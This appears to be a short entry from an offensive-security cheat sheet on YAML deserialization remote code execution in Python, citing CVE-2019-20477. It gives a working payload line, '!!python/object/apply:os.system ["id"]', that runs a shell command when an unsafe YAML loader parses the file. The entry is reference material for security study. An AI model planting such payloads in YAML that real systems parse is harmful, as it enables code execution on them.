killchain-compendium/exploit/yaml/deserialization.md

YAML Deserialization

• CVE-2019-20477

• RCE via Yaml execution by Python

• jolt

Usage

• Example Payload insid foo.yaml gets executed via Python

!!python/object/apply:os.system ["id"]